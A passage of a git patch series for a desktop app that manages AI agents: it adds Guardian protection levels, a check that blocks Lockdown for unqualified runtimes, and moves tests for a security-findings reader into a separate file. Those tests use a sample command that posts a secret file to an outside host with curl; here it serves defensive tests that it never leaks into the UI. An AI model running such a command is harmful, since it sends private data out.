guardian_policy, + guardian_protection, }) } #[cfg(test)] mod tests { - use super::{resolve_guardian_policy, GuardianPermissionPolicy}; + use super::{ + guardian_runtime_protection, resolve_guardian_policy, validate_guardian_launch, + EffectiveHarnessDescriptor, GuardianPermissionPolicy, + }; + use crate::managed_agents::types::{GuardianProtectionLevel, HarnessSource}; use std::collections::BTreeMap; fn layer(value: &str) -> BTreeMap { @@ -155,4 +216,56 @@ mod tests { GuardianPermissionPolicy::Lockdown ); } + + #[test] + fn only_buzz_agent_is_currently_lockdown_qualified() { + let buzz = guardian_runtime_protection("buzz-agent", HarnessSource::Builtin); + assert_eq!(buzz.level, GuardianProtectionLevel::L2); + assert!(buzz.lockdown_allowed); + + let codex = guardian_runtime_protection("codex", HarnessSource::Builtin); + assert_eq!(codex.level, GuardianProtectionLevel::L0); + assert!(!codex.lockdown_allowed); + } + + fn descriptor(command: &str, policy: GuardianPermissionPolicy) -> EffectiveHarnessDescriptor { + EffectiveHarnessDescriptor { + command: command.to_string(), + args: Vec::new(), + env: BTreeMap::new(), + guardian_policy: policy, + guardian_protection: guardian_runtime_protection(command, HarnessSource::Builtin), + } + } + + #[test] + fn lockdown_refuses_unqualified_runtime_before_spawn() { + let error = + validate_guardian_launch(&descriptor("codex-acp", GuardianPermissionPolicy::Lockdown)) + .unwrap_err(); + assert!(error.contains("Lockdown refused")); + } + + #[test] + fn monitor_and_qualified_lockdown_remain_available() { + assert!(validate_guardian_launch(&descriptor( + "codex-acp", + GuardianPermissionPolicy::Monitor, + )) + .is_ok()); + assert!(validate_guardian_launch(&descriptor( + "buzz-agent", + GuardianPermissionPolicy::Lockdown, + )) + .is_ok()); + } + + #[test] + fn custom_binary_cannot_borrow_buzz_agent_qualification() { + let mut custom = descriptor("buzz-agent", GuardianPermissionPolicy::Lockdown); + custom.guardian_protection = + guardian_runtime_protection("buzz-agent", HarnessSource::Custom); + + assert!(validate_guardian_launch(&custom).is_err()); + } } diff --git a/desktop/src-tauri/src/managed_agents/runtime.rs b/desktop/src-tauri/src/managed_agents/runtime.rs index 50e2f2680b..e9d197b2ec 100644 --- a/desktop/src-tauri/src/managed_agents/runtime.rs +++ b/desktop/src-tauri/src/managed_agents/runtime.rs @@ -292,6 +292,10 @@ pub fn build_managed_agent_summary( args, env: Default::default(), guardian_policy: crate::managed_agents::readiness::GuardianPermissionPolicy::Monitor, + guardian_protection: crate::managed_agents::readiness::guardian_runtime_protection( + "custom", + crate::managed_agents::HarnessSource::Custom, + ), } }); let effective_mcp_command = known_acp_runtime(&descriptor.command) @@ -425,6 +429,7 @@ pub fn spawn_agent_child( crate::managed_agents::user_facing_harness_error(&e) ) })?; + crate::managed_agents::readiness::validate_guardian_launch(&descriptor)?; let effective_command = &descriptor.command; let agent_args = &descriptor.args; diff --git a/desktop/src-tauri/src/managed_agents/spawn_hash.rs b/desktop/src-tauri/src/managed_agents/spawn_hash.rs index f452280a57..3edcf92e40 100644 --- a/desktop/src-tauri/src/managed_agents/spawn_hash.rs +++ b/desktop/src-tauri/src/managed_agents/spawn_hash.rs @@ -86,6 +86,11 @@ pub(crate) fn spawn_config_hash( env: Default::default(), guardian_policy: crate::managed_agents::readiness::GuardianPermissionPolicy::Monitor, + guardian_protection: + crate::managed_agents::readiness::guardian_runtime_protection( + "custom", + crate::managed_agents::HarnessSource::Custom, + ), } }); let runtime_meta = known_acp_runtime(&descriptor.command); diff --git a/desktop/src-tauri/src/managed_agents/types.rs b/desktop/src-tauri/src/managed_agents/types.rs index fcd8b13fc9..278ef653f7 100644 --- a/desktop/src-tauri/src/managed_agents/types.rs +++ b/desktop/src-tauri/src/managed_agents/types.rs @@ -629,6 +629,25 @@ pub enum HarnessSource { Custom, } +#[derive(Debug, Clone, Copy, Serialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +// L1/L3 are part of the versioned wire contract even before an adapter earns +// either qualification in the checked-in conformance matrix. +#[allow(dead_code)] +pub enum GuardianProtectionLevel { + L0, + L1, + L2, + L3, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct GuardianRuntimeProtection { + pub level: GuardianProtectionLevel, + pub summary: String, + pub lockdown_allowed: bool, +} + #[derive(Debug, Clone, Serialize)] pub struct AcpRuntimeCatalogEntry { pub id: String, @@ -663,6 +682,9 @@ pub struct AcpRuntimeCatalogEntry { /// Whether this entry came from the compiled-in catalog or a user-supplied /// JSON file in `custom_harnesses/`. The UI uses this to decide editability. pub source: HarnessSource, + /// Strongest protection proven for this runtime entry. Product names alone + /// never elevate this value. + pub guardian_protection: GuardianRuntimeProtection, /// Definition-level environment variables for `source: custom` entries. /// /// Populated from `HarnessDefinition.env` so the edit form can read them diff --git a/desktop/src/features/settings/ui/HarnessRow.tsx b/desktop/src/features/settings/ui/HarnessRow.tsx index c0feef13cc..8f3ba9838f 100644 --- a/desktop/src/features/settings/ui/HarnessRow.tsx +++ b/desktop/src/features/settings/ui/HarnessRow.tsx @@ -472,6 +472,19 @@ export function HarnessRow({ ) : null} +

+ Guardian {runtime.guardianProtection.level.toUpperCase()}:{" "} + {runtime.guardianProtection.summary} +

+ {runtime.authStatus.status === "config_invalid" ? (

Date: Tue, 4 Aug 2026 13:20:34 -0400 Subject: [PATCH 21/27] fix: clear Guardian CI ratchets Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- crates/buzz-acp/src/pool.rs | 2 +- .../src-tauri/src/commands/agent_discovery.rs | 8 +- .../src-tauri/src/commands/numbat_findings.rs | 267 +----------------- .../src/commands/numbat_findings/tests.rs | 233 +++++++++++++++ desktop/src-tauri/src/lib.rs | 7 +- .../src-tauri/src/managed_agents/discovery.rs | 18 +- .../src/managed_agents/guardian_protection.rs | 19 ++ desktop/src-tauri/src/managed_agents/mod.rs | 2 + .../readiness/effective_harness.rs | 6 +- desktop/src-tauri/src/managed_agents/types.rs | 26 +- .../features/agents/ui/AgentConfigFields.tsx | 29 +- .../ui/agentConfigFieldsContract.test.mjs | 3 +- .../src/features/agents/ui/guardianPolicy.ts | 24 ++ desktop/src/shared/api/guardianProtection.ts | 29 ++ desktop/src/shared/api/tauri.ts | 28 +- desktop/src/shared/api/types.ts | 15 +- 16 files changed, 333 insertions(+), 383 deletions(-) create mode 100644 desktop/src-tauri/src/commands/numbat_findings/tests.rs create mode 100644 desktop/src-tauri/src/managed_agents/guardian_protection.rs create mode 100644 desktop/src/shared/api/guardianProtection.ts diff --git a/crates/buzz-acp/src/pool.rs b/crates/buzz-acp/src/pool.rs index f06e6e2fc1..2368e982c1 100644 --- a/crates/buzz-acp/src/pool.rs +++ b/crates/buzz-acp/src/pool.rs @@ -1008,7 +1008,7 @@ async fn create_session_and_apply_model( // Keep a harness-side enforcement fallback when an adapter cannot apply // its native mode. - agent.acp.set_permission_mode(ctx.permission_mode.clone()); + agent.acp.set_permission_mode(ctx.permission_mode); // Apply permission mode if not the agent's built-in default AND the agent // advertises the requested mode in session/new. Agents that don't support diff --git a/desktop/src-tauri/src/commands/agent_discovery.rs b/desktop/src-tauri/src/commands/agent_discovery.rs index e0463060ac..59b9b88e28 100644 --- a/desktop/src-tauri/src/commands/agent_discovery.rs +++ b/desktop/src-tauri/src/commands/agent_discovery.rs @@ -3,6 +3,7 @@ use tauri::State; use crate::{ app_state::AppState, managed_agents::{ + readiness::guardian_runtime_protection, command_availability, is_npm_global_install, AcpRuntimeCatalogEntry, DiscoverManagedAgentPrereqsRequest, InstallRuntimeResult, ManagedAgentPrereqsInfo, RelayAgentInfo, DEFAULT_ACP_COMMAND, @@ -10,7 +11,6 @@ use crate::{ nostr_convert, relay::query_relay, }; - mod post_install_verification; fn active_installs() -> &'static std::sync::Mutex> { @@ -186,11 +186,7 @@ pub async fn save_custom_harness( auth_status: AuthStatus::NotApplicable, login_hint: None, source: HarnessSource::Custom, - guardian_protection: crate::managed_agents::readiness::guardian_runtime_protection( - &definition.id, - HarnessSource::Custom, - ), - // Carry definition env back so the edit form can read and preserve it. + guardian_protection: guardian_runtime_protection(&definition.id, HarnessSource::Custom), definition_env: definition.env, }) } diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs index 74513bd91e..a6c5012a78 100644 --- a/desktop/src-tauri/src/commands/numbat_findings.rs +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -835,269 +835,4 @@ pub fn read_numbat_findings( mod lifecycle_tests; #[cfg(test)] -mod tests { - use std::io::Write as _; - - use super::*; - - const TEST_AGENT: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; - - fn finding_json(overrides: serde_json::Value) -> String { - let mut value = serde_json::json!({ - "schema_version": "0.2.0", - "record_type": "finding", - "finding_id": "fnd-safe-01", - "rule_id": "chain.secret_read_then_egress", - "title": "Secret access followed by network egress", - "severity": "high", - "detected_at": "2026-07-30T14:40:00Z", - "source_agent": "codex", - "session_id": "session-safe-01", - "cited_event_ids": ["event-sensitive-secret-read-id", "event-sensitive-egress-id"], - "observed_command": "curl --data-binary @/private/secret https://example.invalid", - "project_path_hash": "sha256:sensitive-project", - "endpoint": { - "hostname": "sensitive-host", - "username": "sensitive-user" - }, - "evidence_refs": [{ - "local_path": "/private/transcript.jsonl" - }] - }); - if let (Some(base), Some(extra)) = (value.as_object_mut(), overrides.as_object()) { - base.extend(extra.clone()); - } - serde_json::to_string(&value).expect("serialize fixture") - } - - fn test_health() -> NumbatGuardianHealth { - NumbatGuardianHealth { - state: "configured".into(), - detail: "test".into(), - } - } - - #[test] - fn projection_excludes_sensitive_source_fields() { - let projected = project_finding( - finding_json(serde_json::json!({})).as_bytes(), - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - ) - .expect("finding"); - let serialized = serde_json::to_string(&projected).expect("serialize projection"); - - assert_eq!(projected.severity, "high"); - assert_eq!(projected.evidence_count, 2); - assert_eq!(projected.source_agent, TEST_AGENT); - assert_eq!(projected.channel_id.as_deref(), Some("channel-safe-01")); - assert_eq!(projected.turn_id.as_deref(), Some("turn-safe-01")); - for forbidden in [ - "observed_command", - "curl", - "sensitive-host", - "sensitive-user", - "sensitive-project", - "/private/", - "event-sensitive-secret-read-id", - "event-sensitive-egress-id", - ] { - assert!( - !serialized.contains(forbidden), - "projection leaked {forbidden}" - ); - } - } - - #[test] - fn invalid_schema_severity_and_control_text_are_rejected() { - assert!(project_finding( - finding_json(serde_json::json!({"schema_version": "9.9.9"})).as_bytes(), - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - ) - .is_none()); - assert!(project_finding( - finding_json(serde_json::json!({"severity": "emergency"})).as_bytes(), - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - ) - .is_none()); - let sensitive_title = project_finding( - finding_json(serde_json::json!({ - "title": "Leaked /private/key with token super-secret" - })) - .as_bytes(), - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - ) - .expect("finding with untrusted source title"); - assert_eq!(sensitive_title.title, "Possible secret exfiltration"); - } - - #[test] - fn validates_agent_pubkey_before_path_construction() { - assert!(validate_agent_pubkey(&"a".repeat(64)).is_ok()); - assert!(validate_agent_pubkey("../../records").is_err()); - assert!(validate_agent_pubkey(&"g".repeat(64)).is_err()); - } - - #[test] - fn runtime_label_is_not_treated_as_managed_agent_identity() { - let projected = project_finding( - finding_json(serde_json::json!({"source_agent": "claude-code"})).as_bytes(), - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - ) - .expect("finding from agent-scoped file"); - - assert_eq!(projected.source_agent, TEST_AGENT); - } - - #[test] - fn reads_only_complete_records_and_advances_cursor() { - let dir = tempfile::tempdir().expect("tempdir"); - let path = dir.path().join("findings.ndjson"); - let first = finding_json(serde_json::json!({"finding_id": "fnd-first"})); - let second = finding_json(serde_json::json!({"finding_id": "fnd-second"})); - { - let mut file = File::create(&path).expect("create"); - writeln!(file, "{first}").expect("write first"); - write!(file, "{second}").expect("write partial second"); - } - - let first_batch = read_numbat_findings_from_path( - &path, - 0, - Some(( - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - )), - test_health(), - ) - .expect("first batch"); - assert_eq!(first_batch.findings.len(), 1); - assert_eq!(first_batch.findings[0].finding_id, "fnd-first"); - - { - let mut file = std::fs::OpenOptions::new() - .append(true) - .open(&path) - .expect("append"); - writeln!(file).expect("complete second"); - } - let second_batch = read_numbat_findings_from_path( - &path, - first_batch.next_offset, - Some(( - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - )), - test_health(), - ) - .expect("second batch"); - assert_eq!(second_batch.findings.len(), 1); - assert_eq!(second_batch.findings[0].finding_id, "fnd-second"); - } - - #[test] - fn truncation_resets_a_stale_cursor() { - let dir = tempfile::tempdir().expect("tempdir"); - let path = dir.path().join("findings.ndjson"); - std::fs::write(&path, format!("{}\n", finding_json(serde_json::json!({})))).expect("write"); - - let batch = read_numbat_findings_from_path( - &path, - u64::MAX, - Some(( - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - )), - test_health(), - ) - .expect("batch"); - assert!(batch.reset); - assert_eq!(batch.findings.len(), 1); - } - - #[test] - fn continuous_retention_keeps_complete_recent_records() { - let dir = tempfile::tempdir().expect("tempdir"); - let path = dir.path().join("findings.ndjson"); - let padding = format!("{{\"padding\":\"{}\"}}\n", "x".repeat(1024)); - let mut file = File::create(&path).expect("create"); - while file.stream_position().expect("position") <= MAX_LOCAL_RECORD_BYTES { - file.write_all(padding.as_bytes()).expect("write padding"); - } - let newest = finding_json(serde_json::json!({"finding_id": "fnd-newest"})); - writeln!(file, "{newest}").expect("write newest"); - file.sync_all().expect("sync"); - drop(file); - - assert!(enforce_continuous_retention(&path).expect("retain")); - let retained = std::fs::read(&path).expect("read retained"); - let previous = std::fs::read(previous_findings_path(&path)).expect("read prior"); - assert!(retained.len() as u64 <= MAX_BACKLOG_BYTES + MAX_LINE_BYTES as u64); - assert!(retained.ends_with(format!("{newest}\n").as_bytes())); - assert!(previous.ends_with(format!("{newest}\n").as_bytes())); - assert!(!retained.starts_with(b"x")); - assert!(!enforce_continuous_retention(&path).expect("already bounded")); - } - - #[test] - fn cursor_resets_when_retention_replaces_the_file_generation() { - let cursor = encode_cursor(41, 12_345).expect("cursor"); - assert_eq!(decode_cursor(cursor, 41), (12_345, false)); - assert_eq!(decode_cursor(cursor, 42), (0, true)); - assert_eq!(decode_cursor(0, 42), (0, false)); - assert!(encode_cursor(1, CURSOR_OFFSET_MASK + 1).is_err()); - assert!(cursor <= (1_u64 << 53) - 1, "cursor must be exact in JS"); - } - - #[test] - fn projects_owner_observer_context_only_after_exact_session_match() { - let projected = project_finding( - finding_json(serde_json::json!({})).as_bytes(), - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - ) - .expect("matching context"); - assert_eq!(projected.channel_id.as_deref(), Some("channel-safe-01")); - assert_eq!(projected.turn_id.as_deref(), Some("turn-safe-01")); - - assert!(project_finding( - finding_json(serde_json::json!({})).as_bytes(), - TEST_AGENT, - "another-session", - "channel-safe-01", - "turn-safe-01", - ) - .is_none()); - assert!(project_finding( - finding_json(serde_json::json!({"source_agent": "bad source"})).as_bytes(), - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - ) - .is_none()); - } -} +mod tests; diff --git a/desktop/src-tauri/src/commands/numbat_findings/tests.rs b/desktop/src-tauri/src/commands/numbat_findings/tests.rs new file mode 100644 index 0000000000..0e34d619cd --- /dev/null +++ b/desktop/src-tauri/src/commands/numbat_findings/tests.rs @@ -0,0 +1,233 @@ +use std::io::Write as _; + +use super::*; + +const TEST_AGENT: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + +fn finding_json(overrides: serde_json::Value) -> String { + let mut value = serde_json::json!({ + "schema_version": "0.2.0", "record_type": "finding", "finding_id": "fnd-safe-01", + "rule_id": "chain.secret_read_then_egress", "title": "Secret access followed by network egress", + "severity": "high", "detected_at": "2026-07-30T14:40:00Z", "source_agent": "codex", + "session_id": "session-safe-01", "cited_event_ids": ["event-sensitive-secret-read-id", "event-sensitive-egress-id"], + "observed_command": "curl --data-binary @/private/secret https://example.invalid", + "project_path_hash": "sha256:sensitive-project", + "endpoint": {"hostname": "sensitive-host", "username": "sensitive-user"}, + "evidence_refs": [{"local_path": "/private/transcript.jsonl"}] + }); + if let (Some(base), Some(extra)) = (value.as_object_mut(), overrides.as_object()) { + base.extend(extra.clone()); + } + serde_json::to_string(&value).expect("serialize fixture") +} + +fn test_health() -> NumbatGuardianHealth { + NumbatGuardianHealth { + state: "configured".into(), + detail: "test".into(), + } +} + +#[test] +fn projection_excludes_sensitive_source_fields() { + let projected = project_finding( + finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("finding"); + let serialized = serde_json::to_string(&projected).expect("serialize projection"); + assert_eq!(projected.severity, "high"); + assert_eq!(projected.evidence_count, 2); + assert_eq!(projected.source_agent, TEST_AGENT); + assert_eq!(projected.channel_id.as_deref(), Some("channel-safe-01")); + assert_eq!(projected.turn_id.as_deref(), Some("turn-safe-01")); + for forbidden in [ + "observed_command", + "curl", + "sensitive-host", + "sensitive-user", + "sensitive-project", + "/private/", + "event-sensitive-secret-read-id", + "event-sensitive-egress-id", + ] { + assert!( + !serialized.contains(forbidden), + "projection leaked {forbidden}" + ); + } +} + +#[test] +fn invalid_schema_severity_and_control_text_are_rejected() { + assert!(project_finding( + finding_json(serde_json::json!({"schema_version": "9.9.9"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01" + ) + .is_none()); + assert!(project_finding( + finding_json(serde_json::json!({"severity": "emergency"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01" + ) + .is_none()); + let sensitive_title = project_finding( + finding_json(serde_json::json!({ + "title": "Leaked /private/key with token super-secret" + })) + .as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("finding with untrusted source title"); + assert_eq!(sensitive_title.title, "Possible secret exfiltration"); +} + +#[test] +fn validates_agent_pubkey_before_path_construction() { + assert!(validate_agent_pubkey(&"a".repeat(64)).is_ok()); + assert!(validate_agent_pubkey("../../records").is_err()); + assert!(validate_agent_pubkey(&"g".repeat(64)).is_err()); +} + +#[test] +fn runtime_label_is_not_treated_as_managed_agent_identity() { + let projected = project_finding( + finding_json(serde_json::json!({"source_agent": "claude-code"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("finding from agent-scoped file"); + assert_eq!(projected.source_agent, TEST_AGENT); +} + +#[test] +fn reads_only_complete_records_and_advances_cursor() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + let first = finding_json(serde_json::json!({"finding_id": "fnd-first"})); + let second = finding_json(serde_json::json!({"finding_id": "fnd-second"})); + { + let mut file = File::create(&path).expect("create"); + writeln!(file, "{first}").expect("write first"); + write!(file, "{second}").expect("write partial second"); + } + let context = Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )); + let first_batch = + read_numbat_findings_from_path(&path, 0, context, test_health()).expect("first batch"); + assert_eq!(first_batch.findings.len(), 1); + assert_eq!(first_batch.findings[0].finding_id, "fnd-first"); + { + let mut file = std::fs::OpenOptions::new() + .append(true) + .open(&path) + .expect("append"); + writeln!(file).expect("complete second"); + } + let second_batch = + read_numbat_findings_from_path(&path, first_batch.next_offset, context, test_health()) + .expect("second batch"); + assert_eq!(second_batch.findings.len(), 1); + assert_eq!(second_batch.findings[0].finding_id, "fnd-second"); +} + +#[test] +fn truncation_resets_a_stale_cursor() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + std::fs::write(&path, format!("{}\n", finding_json(serde_json::json!({})))).expect("write"); + let batch = read_numbat_findings_from_path( + &path, + u64::MAX, + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), + test_health(), + ) + .expect("batch"); + assert!(batch.reset); + assert_eq!(batch.findings.len(), 1); +} + +#[test] +fn continuous_retention_keeps_complete_recent_records() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + let padding = format!("{{\"padding\":\"{}\"}}\n", "x".repeat(1024)); + let mut file = File::create(&path).expect("create"); + while file.stream_position().expect("position") <= MAX_LOCAL_RECORD_BYTES { + file.write_all(padding.as_bytes()).expect("write padding"); + } + let newest = finding_json(serde_json::json!({"finding_id": "fnd-newest"})); + writeln!(file, "{newest}").expect("write newest"); + file.sync_all().expect("sync"); + drop(file); + assert!(enforce_continuous_retention(&path).expect("retain")); + let retained = std::fs::read(&path).expect("read retained"); + let previous = std::fs::read(previous_findings_path(&path)).expect("read prior"); + assert!(retained.len() as u64 <= MAX_BACKLOG_BYTES + MAX_LINE_BYTES as u64); + assert!(retained.ends_with(format!("{newest}\n").as_bytes())); + assert!(previous.ends_with(format!("{newest}\n").as_bytes())); + assert!(!retained.starts_with(b"x")); + assert!(!enforce_continuous_retention(&path).expect("already bounded")); +} + +#[test] +fn cursor_resets_when_retention_replaces_the_file_generation() { + let cursor = encode_cursor(41, 12_345).expect("cursor"); + assert_eq!(decode_cursor(cursor, 41), (12_345, false)); + assert_eq!(decode_cursor(cursor, 42), (0, true)); + assert_eq!(decode_cursor(0, 42), (0, false)); + assert!(encode_cursor(1, CURSOR_OFFSET_MASK + 1).is_err()); + assert!(cursor <= (1_u64 << 53) - 1, "cursor must be exact in JS"); +} + +#[test] +fn projects_owner_observer_context_only_after_exact_session_match() { + let projected = project_finding( + finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("matching context"); + assert_eq!(projected.channel_id.as_deref(), Some("channel-safe-01")); + assert_eq!(projected.turn_id.as_deref(), Some("turn-safe-01")); + assert!(project_finding( + finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, + "another-session", + "channel-safe-01", + "turn-safe-01" + ) + .is_none()); + assert!(project_finding( + finding_json(serde_json::json!({"source_agent": "bad source"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01" + ) + .is_none()); +} diff --git a/desktop/src-tauri/src/lib.rs b/desktop/src-tauri/src/lib.rs index cf00c0e016..f937484cb9 100644 --- a/desktop/src-tauri/src/lib.rs +++ b/desktop/src-tauri/src/lib.rs @@ -391,17 +391,14 @@ pub fn run() { }; if reset_outcome.failed { - // Surface reset-failed state — skip identity resolution and - // all side-effecting setup. The webview still loads so the - // frontend can show the recovery screen via get_identity. + // Skip identity resolution and setup, but load the webview so the frontend can + // show the recovery screen via get_identity. let state = app_handle.state::(); state .reset_failed .store(true, std::sync::atomic::Ordering::Release); return Ok(()); } - - // Run all pre-identity data migrations before state loads from disk. if reset_outcome.completed { migration::run_boot_migrations_after_reset(&app_handle); } else { diff --git a/desktop/src-tauri/src/managed_agents/discovery.rs b/desktop/src-tauri/src/managed_agents/discovery.rs index 03f43fff02..ad7f4292a5 100644 --- a/desktop/src-tauri/src/managed_agents/discovery.rs +++ b/desktop/src-tauri/src/managed_agents/discovery.rs @@ -6,8 +6,8 @@ use std::time::{Duration, Instant}; use crate::managed_agents::{ buzz_managed_command_path, buzz_managed_node_bin_dir, buzz_managed_npm_bin_dir, - AcpAvailabilityStatus, AcpRuntimeCatalogEntry, AuthStatus, CommandAvailabilityInfo, - HarnessSource, + readiness::guardian_runtime_protection, AcpAvailabilityStatus, AcpRuntimeCatalogEntry, + AuthStatus, CommandAvailabilityInfo, HarnessSource, }; mod presets; @@ -1423,11 +1423,7 @@ fn discover_acp_runtime_phase1(runtime: &'static KnownAcpRuntime) -> PartialEntr auth_status: AuthStatus::Unknown, login_hint: None, source: HarnessSource::Builtin, - guardian_protection: crate::managed_agents::readiness::guardian_runtime_protection( - runtime.id, - HarnessSource::Builtin, - ), - // Builtin entries have no user-editable env; definition_env is empty. + guardian_protection: guardian_runtime_protection(runtime.id, HarnessSource::Builtin), definition_env: Default::default(), }, } @@ -1586,12 +1582,8 @@ pub fn discover_acp_runtimes_from( auth_status: AuthStatus::NotApplicable, login_hint: None, source: HarnessSource::Custom, - guardian_protection: crate::managed_agents::readiness::guardian_runtime_protection( - &def.id, - HarnessSource::Custom, - ), - // Carry definition env into the catalog so the edit form can - // read it back — prevents silently erasing env on save. + guardian_protection: guardian_runtime_protection(&def.id, HarnessSource::Custom), + // Preserve custom environment variables for editing. definition_env: def.env.clone(), }); } diff --git a/desktop/src-tauri/src/managed_agents/guardian_protection.rs b/desktop/src-tauri/src/managed_agents/guardian_protection.rs new file mode 100644 index 0000000000..669a8bcaae --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/guardian_protection.rs @@ -0,0 +1,19 @@ +use serde::Serialize; + +#[derive(Debug, Clone, Copy, Serialize, PartialEq, Eq)] +#[serde(rename_all = "snake_case")] +// L1/L3 are wire-contract states before an adapter earns the qualification. +#[allow(dead_code)] +pub enum GuardianProtectionLevel { + L0, + L1, + L2, + L3, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct GuardianRuntimeProtection { + pub level: GuardianProtectionLevel, + pub summary: String, + pub lockdown_allowed: bool, +} diff --git a/desktop/src-tauri/src/managed_agents/mod.rs b/desktop/src-tauri/src/managed_agents/mod.rs index 772d707f27..642183949e 100644 --- a/desktop/src-tauri/src/managed_agents/mod.rs +++ b/desktop/src-tauri/src/managed_agents/mod.rs @@ -14,6 +14,7 @@ pub(crate) mod effective_config; mod env_vars; pub(crate) mod git_bash; pub(crate) mod global_config; +mod guardian_protection; mod managed_node_paths; mod nest; mod persona_avatars; @@ -57,6 +58,7 @@ pub(crate) use global_config::{ load_global_agent_config, resolve_effective_model_provider, save_global_agent_config, validate_global_config, GlobalAgentConfig, }; +pub use guardian_protection::*; pub(crate) use managed_node_paths::*; pub use nest::*; pub use personas::*; diff --git a/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs b/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs index 6b3a5d4a4a..020281507e 100644 --- a/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs +++ b/desktop/src-tauri/src/managed_agents/readiness/effective_harness.rs @@ -1,10 +1,8 @@ use std::collections::BTreeMap; -use crate::managed_agents::types::{ - GuardianProtectionLevel, GuardianRuntimeProtection, HarnessSource, -}; use crate::managed_agents::{ discovery::known_acp_runtime, normalize_agent_args, types::ManagedAgentRecord, + GuardianProtectionLevel, GuardianRuntimeProtection, HarnessSource, }; use super::resolve_effective_agent_env_with_def; @@ -178,7 +176,7 @@ mod tests { guardian_runtime_protection, resolve_guardian_policy, validate_guardian_launch, EffectiveHarnessDescriptor, GuardianPermissionPolicy, }; - use crate::managed_agents::types::{GuardianProtectionLevel, HarnessSource}; + use crate::managed_agents::{GuardianProtectionLevel, HarnessSource}; use std::collections::BTreeMap; fn layer(value: &str) -> BTreeMap { diff --git a/desktop/src-tauri/src/managed_agents/types.rs b/desktop/src-tauri/src/managed_agents/types.rs index 278ef653f7..ba2802a98f 100644 --- a/desktop/src-tauri/src/managed_agents/types.rs +++ b/desktop/src-tauri/src/managed_agents/types.rs @@ -629,25 +629,6 @@ pub enum HarnessSource { Custom, } -#[derive(Debug, Clone, Copy, Serialize, PartialEq, Eq)] -#[serde(rename_all = "snake_case")] -// L1/L3 are part of the versioned wire contract even before an adapter earns -// either qualification in the checked-in conformance matrix. -#[allow(dead_code)] -pub enum GuardianProtectionLevel { - L0, - L1, - L2, - L3, -} - -#[derive(Debug, Clone, Serialize, PartialEq, Eq)] -pub struct GuardianRuntimeProtection { - pub level: GuardianProtectionLevel, - pub summary: String, - pub lockdown_allowed: bool, -} - #[derive(Debug, Clone, Serialize)] pub struct AcpRuntimeCatalogEntry { pub id: String, @@ -682,11 +663,8 @@ pub struct AcpRuntimeCatalogEntry { /// Whether this entry came from the compiled-in catalog or a user-supplied /// JSON file in `custom_harnesses/`. The UI uses this to decide editability. pub source: HarnessSource, - /// Strongest protection proven for this runtime entry. Product names alone - /// never elevate this value. - pub guardian_protection: GuardianRuntimeProtection, - /// Definition-level environment variables for `source: custom` entries. - /// + pub guardian_protection: super::guardian_protection::GuardianRuntimeProtection, + /// Definition-level environment variables for custom entries. /// Populated from `HarnessDefinition.env` so the edit form can read them /// back and the user doesn't silently lose env vars when saving. Always /// empty for `builtin` and `preset` entries (those env values come from the diff --git a/desktop/src/features/agents/ui/AgentConfigFields.tsx b/desktop/src/features/agents/ui/AgentConfigFields.tsx index 14a4847236..edcf101c71 100644 --- a/desktop/src/features/agents/ui/AgentConfigFields.tsx +++ b/desktop/src/features/agents/ui/AgentConfigFields.tsx @@ -55,7 +55,7 @@ import { import { SettingsOptionGroup } from "@/features/settings/ui/SettingsOptionGroup"; import { AdvancedRequiredBadge } from "./AdvancedRequiredBadge"; import { GuardianPolicyField } from "./GuardianPolicyField"; -import { GUARDIAN_POLICY_ENV } from "./guardianPolicy"; +import { getGenericEnvVars, mergeGenericEnvVars } from "./guardianPolicy"; import { getGlobalAgentCredentialState } from "./globalAgentCredentialState"; export const EMPTY_GLOBAL_CONFIG: GlobalAgentConfig = { env_vars: {}, @@ -63,33 +63,6 @@ export const EMPTY_GLOBAL_CONFIG: GlobalAgentConfig = { model: null, preferred_runtime: null, }; -/** Baked env 